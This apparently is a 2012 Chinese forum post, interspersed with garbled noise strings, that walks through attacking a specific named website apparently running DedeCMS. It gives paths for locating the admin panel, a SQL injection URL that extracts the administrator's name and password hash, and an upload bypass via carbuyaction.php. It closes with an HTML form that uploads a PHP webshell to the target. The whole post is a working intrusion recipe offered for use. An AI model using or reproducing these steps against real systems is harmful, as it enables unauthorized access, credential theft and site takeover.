①注入漏洞。6 ~4 i; {' M5 p1 X' q) V
这站 http://www.political-security.com/
3 r& A& j8 {6 e首先访问“/data/admin/ver.txt”页面获取系统最后升级时间，
' Y2 w& t. ~& ]* k" Wwww.political-security.com/data/mysql_error_trace.inc 爆后台, ]0 m- r1 a5 u
然后访问“/member/ajax_membergroup.php?action=post&membergroup=1”页面，如图说明存在该漏洞。; H& Z& E/ c& H' `0 f6 I
然后写上语句 9 l. i: S/ q* ?5 ^
查看管理员帐号
/ p0 U3 J, y$ c5 k. e5 A, nhttp://www.political-security.co ... &membergroup=@`" ]7 ]8 c7 h) q+ A& {% V$ |7 f: E
* z% [" a/ U1 s! c# ^
admin ! ]* [$ Q& A' \2 p. @5 j
3 N3 Z9 S/ l. \, Y7 K, n
查看管理员密码5 E& v }& I3 r# ?2 C& P
http://www.political-security.co ... &membergroup=@`1 c- h8 w S0 a) t
. D$ n* r) w3 _* t4 N$ I8d29b1ef9f8c5a5af429- x1 f6 p, r; _# h
& q7 h+ J: R5 ?; p0 ^! U; e
查看管理员密码( p/ q3 Y7 o5 H/ B& M! ]
# p! y$ B+ l& A' p
得到的是19位的，去掉前三位和最后一位，得到管理员的16位MD53 f) ~- N2 X& Q1 f# K6 S" q" T; S' c
9 G& `/ K+ c' t, h& w) P& A( n8d28 n0 T* ^/ r, o% A$ k
9b1ef9f8c5a5af42
# ?9 \$ H! ]* k; H9: j- l8 X# @8 T @
; B7 t- s& s0 S; i) h% r' H; n) Jcmd5没解出来 只好测试第二个方法
. Q2 U5 [7 ^: u# j+ d0 `
; s" Y* k) p7 `4 N6 M% d+ m9 T* s# H$ P/ d# M y) k& e' q
②上传漏洞：
% b" L- n% E8 v6 j$ _( h3 |6 u: Z# ~7 e/ `" H* g8 h
只要登陆会员中心，然后访问页面链接
. m0 o: h$ V4 d' ^5 c+ q; i“/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post”, t' n. l2 Z* b! n9 |) t
1 p0 L- N! T- @+ w. L0 M) f
如图，说明通过“/plus/carbuyaction.php”已经成功调用了上传页面“/dialog/select_soft_post” H: E* F( |. U- v
) v+ o, o) C6 `# t于是将Php一句话木马扩展名改为“rar”等，利用提交页面upload1.htm
4 u9 Z+ s, Y2 d4 V
5 I9 \0 {& m: M+ b& P' Y- \<form action="http://www.political-security.com/plus/carbuyaction.php?dopost=memclickout&oid=S-P0RN8888&rs[code]=../dialog/select_soft_post" method="post" enctype="multipart/form-data" name="form1"> file:<input name="uploadfile" type="file" /><br> newname:<input name="newname" type="text" value="myfile.Php"/> <button class="button2" type="submit">提交</button><br><br>
6 l, Z( u7 X" T. d% h0 R或者
9 V/ U% i: w. X j: K, y- B即可上传成功 |
发表于 2012-9-13 10:56:59
收藏
支持
反对